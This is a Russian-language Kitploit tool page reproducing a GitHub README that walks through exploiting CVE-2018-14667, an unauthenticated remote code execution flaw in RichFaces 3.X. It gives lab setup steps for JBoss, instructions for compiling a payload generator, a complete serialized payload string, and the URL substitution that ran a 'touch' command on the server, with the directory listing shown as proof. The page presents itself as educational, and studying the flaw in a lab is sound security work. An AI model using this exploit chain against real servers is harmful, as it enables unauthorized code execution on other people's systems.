Skip to content
KitploitKITPLOIT
ИнструментыЭксплойтыБлог
Log in
Отправить
ИнструментыЭксплойтыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
CVE-2018-14667 — Все о CVE-2018-14667; от того, что это такое, до того, как успешно его эксплуатировать. | Kitploit
Инструменты/GitHubGitHub/syriusbughunt/cve-2018-14667
Анализ уязвимостейЭксплуатацияЭксплуатация веб-приложенийОбучение и ОбразованиеРазработка Полезной НагрузкиЛаборатории и Практика
GitHubsyriusbughunt/cve-2018-14667

CVE-2018-14667

Все о CVE-2018-14667; от того, что это такое, до того, как успешно его эксплуатировать.

Репозиторий
50937 лет назадПроверено Kitploit

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

CVE-2018-14667

Потратив много времени на понимание и корректную эксплуатацию этой уязвимости CVE, я решил создать репозиторий с ошибкой RCE в RichFaces 3.X и поделиться пошаговым руководством с сообществом.

0x00 : Введение в ошибку RichFaces 3.X

В понедельник, 19 ноября, Жоау Ф.М. Фигейреду опубликовал хорошо детализированную статью (https://seclists.org/fulldisclosure/2018/Nov/47) о критической уязвимости высокого риска в RichFaces.
CVSS3 Базовая оценка: 9.8

Эта уязвимость позволит любому неаутентифицированному пользователю выполнить удалённый код на любом веб-приложении, использующем RichFaces 3.X (все версии), что является наихудшим сценарием.

0x01 : Затрагивает ли это меня?  крик

Что ж, если вы используете RichFaces 3.X (любую версию RichFaces 3) и видите в своём исходном коде следующие элементы, весьма вероятно, что вы уязвимы для удалённого выполнения кода через CVE-2018-14667:

  • org.ajax4jsf.resource.InternetResource
  • org.ajax4jsf.resource.SerializableResource
  • javax.el.Expression
  • javax.faces.el.MethodBinding
  • javax.faces.component.StateHolderSaver
  • java.awt.Color

0x02 : Запуск уязвимой среды для тестирования ошибки  ошибка

Я в основном повторно объясню то, что уже было освещено в статье на seclists.org, о том, как развернуть уязвимую среду.

  1. Скачайте JBoss 5.1.0GA и демонстрационное приложение с RichFaces, содержащее приложение PhotoAlbum.
    → http://downloads.jboss.org/richfaces/releases/3.3.X/3.3.4.Final/richfaces-examples-3.3.4.Final.zip
    → https://sourceforge.net/projects/jboss/files/JBoss/JBoss-5.1.0.GA/
  2. Распакуйте ZIP-архив.
  3. Скопируйте приложение richfaces-examples-3.3.4.Final/photoalbum/dist/photoalbum-ear-3.3.4.Final.ear в каталог развёртывания JBoss jboss-5.1.0.GA/server/default/deploy/
  4. Запустите сервер приложений JBoss, используя следующий синтаксис (перед запуском убедитесь, что ваш порт 8080 не занят): cd bin ; ./run.sh -b 0.0.0.0
  5. Вам нужно перейти на главную страницу PhotoAlbum, чтобы активировать веб-приложение.

0x03 : Генерация корректной полезной нагрузки  ухмылка

Теперь самое интересное! Именно здесь у меня возникли трудности, поэтому я подробно объясню, как сгенерировать корректную полезную нагрузку, не повторяя моих ошибок. Сначала рекомендую использовать Eclipse для компиляции полезной нагрузки.

  1. Скачайте Eclipse по следующей ссылке:
    → https://www.eclipse.org/downloads/
  2. Запустите Eclipse и выберите создание нового веб-проекта.
  3. Получите генератор полезной нагрузки (авторство принадлежит orich1 с https://xz.aliyun.com/t/3264), доступный в этом репозитории
    → https://raw.githubusercontent.com/syriusbughunt/CVE-2018-14667/master/Main.java
  4. Извлеките WAR-архив из этого репозитория (richfaces-demo-3.3.0.GA-tomcat6.war), скопируйте все .jar-файлы из папки WEB-INF/lib/ в папку WebContent/WEB-INF/lib/ вашего Java-веб-проекта в Eclipse
    → https://github.com/syriusbughunt/CVE-2018-14667/blob/master/richfaces-demo-3.3.0.GA-tomcat6.war
  5. Добавьте файл Main.java в Eclipse: щёлкните правой кнопкой мыши по имени вашего Java-веб-проекта в Eclipse, выберите New, затем File.
  6. Сделайте папку WebContent/WEB-INF/lib источником пути сборки в Eclipse: щёлкните правой кнопкой мыши по папке lib, выберите Build Path, затем Use as Source Folder.
  7. Проверим, повезёт ли вам: нажмите зелёную кнопку Play, чтобы запустить компилятор. Если вы получили 0 ошибок и корректную полезную нагрузку в выводе, поздравляю, у вас есть корректная полезная нагрузка для CVE-2018-14667. Если же у вас возникают всевозможные ошибки, не паникуйте. Возможно, вам стоит закомментировать следующие строки: 29,30,31,32,33,34,35, чтобы они выглядели так:
        // Class clazz = Class.forName("javax.el.MethodExpression");
        // Field field = clazz.getField("serialVersionUID");
        // field.setAccessible(true);
        // Field modifiersField = Field.class.getDeclaredField("modifiers");
        // modifiersField.setAccessible(true);
        // modifiersField.setInt(field, field.getModifiers() & ~Modifier.FINAL);
        // field.setLong(null, MethodExpressionSerialVersionUID);

Результат в Eclipse должен выглядеть примерно так:

/DATA/eAHNVU1rE0EYnkarbf2qtqhVhLiKTUVmW6mHWgOFKiqkFpq2fvQgk82bZOJ-dWY2WSwVRUSwIkjxpiJ4bS!6B!ToJ9Jf4EEREUEE8SbOzKaJDeqhp-xpZvfZ533med59d-ErauYMHfRYHpMiCfuLPIcZcC9gFuAJDmysstk!wehxIghSV8eRLzG0NoU2WQyIgGHPFeAKgbaliqRETJu4eXM0UwRLDKbQegh9Kjmn0RXUlEItjpelOQrZyr65ROwA9Cb0pZYDiiLEOWIBx5bn-J4ruXFayEKnPDsLLE1KwM6!fJqcv!9mJIZiKdRq2YTzM8SBlRrSglE3LzW0cflOVnMItD1SST0zDYwSm14mGRsGQ1-V75YlMQ9cLcAGwTHYeJzkR0AUvOyJ0Jcn4dRztQ8INW1EKGSoKxItofW4J-bLuQ8!--!ENK6jiqsxPb5xK!39wtIxhVAKBlQYjFqFyIKAYuL7NrWIkGUjH-qLnGUSAgwn7l07ujD2UXvSmSEcohBqtQTapQ8fmmCbk8r42jNp0zqfMB3k7hqqvtZgqLJqkULjSmgx43HtUR3bace3BxZn287Ni-7Io53Vs9dBy21Xp94!-3VXGaC4W8uP0PV9MwymA-AC50EMq3gTPdVlyiOyD-QNWy6ih4Zix6rz8FjgCuqAofGR!IQhWWr3qVvyLkHCDWy7B0MIVsIQXmAV4qZwfJOoy-iZ!U-qvh9KA!auMKDeKOVA5tuOHxuebx1RDmjbyjcb42goYKhjSqccmVb5VBaXJj993jNzUjej7PGYQJ3aWerh0UD4gZBAII5A7TXDoy6TnpSX0Duz2rqmA1lKordMCIn0A7hZ9CGf1mscFoRjx4d6D!XGh!r6Dvf1J40VAyXZAE1ghHpwrdGj6R-zoa6f!xwNKvR2zbCl!ADNNcCB4hCNY7RZBxgIamM52EHF9xa9Xl18BTleL-YCN2lU2BsrOpVCVyWFh-h2I6Sw!Bf8Wwyv0IvVxVAMuEgay9SNkYFALao7xuUo!w0w9PXD.jsf

0x04 : Отправка полезной нагрузки и получение удалённого выполнения кода  бомба

Перейдите в браузере на ваш локальный сервер JBoss, запускающий веб-приложение PhotoAlbum: http://192.168.100.2:8080/photoalbum, щёлкните правой кнопкой мыши и выберите "Просмотреть исходный код страницы". Нажмите Ctrl+F и найдите '/DATA/'. Вы должны увидеть нечто похожее на это:

src="/photoalbum/a4j/s/3_3_3.Finalorg.ajax4jsf.resource.UserResource/n/n/DATA/eAF1Uk1rFEEQrQwGEz9AXVFyCMQoCiI9JCZeYkBQ0cCsQccI6ql2pna2h57ptrtndzDozYuCF6!evOpFf4HXgJf8BkFEBBHEq929QUnAvlXx6r1Xr!rtd5g0Gs5LXTAssV0qTZ9pMrLRGbENQ!rOTnFmQ!NraBH86yx!i2BfAoczTWjpqqwt1dbCsaTEIcYC6yJe75WU2ZUE9lOruON8BE9hIoGpSua8zynfqSeHKBoKRaucl7OeomV9zMiwTFZK1o6bpdYJ3ZQiJ53ikPT9rQ-rr15!6kYQJTCdCTTmFla020NqNa8L5-GAcTN54LBwYuySyzglzVHwx9gTtNIqL3!OSTLT1MGAIGsYCXYXiy7Zgcyvt8ptYrisQw4AE4cAWg0zY9MOuhf3Pt568fn30sso4Dp!cf-Y3jx7nv58sH3ZI7yDU!4YZU-aIL2Xb61Sovfj5K-DH492vbYPbmo0CzOnN3mFBSUSXURMIa!tmm88AWg0dB6GpZk!jcsyxPJu-96Xr7ObN4Kw2yeycNz7Y1yy9caqxjogYWXhSGiH2fFZlWpHKdyOeZ2JJicTB-3YCO6KgRyxdmArMXfl4sKFhcVLc7u-yer8f63OuxuoP9Xj4!8_" style="opacity: 0.1" class="main-image"><span class="rich-tool-tip tooltip" 

Вы чётко видите сериализованный объект. Именно здесь мы заменим сериализованный объект нашей полезной нагрузкой, чтобы получить удалённое выполнение кода. В браузере измените URL на http://192.168.100.2:8080/photoalbum/a4j/s/3_3_3.Finalorg.ajax4jsf.resource.UserResource/n/n/DATA/ВАША-ПОЛЕЗНАЯ-НАГРУЗКА-СГЕНЕРИРОВАННАЯ-В-ECLIPSE. Моя полезная нагрузка выполняла команду 'touch /tmp/PoorRichFaces'. Посмотрим, был ли у меня успех:

drwxrwxrwt 12 root   root    32768 Nov 30 01:45 .
drwxr-xr-x 25 root   root     4096 Nov 25 12:57 ..
-rw-rw-r--  1 syrius syrius      0 Nov 30 1:27 PoorRichFaces 

Приятно, не правда ли? Мы только что получили RCE на Java-веб-приложении, работающем на RichFaces 3.X.

Скачать инструмент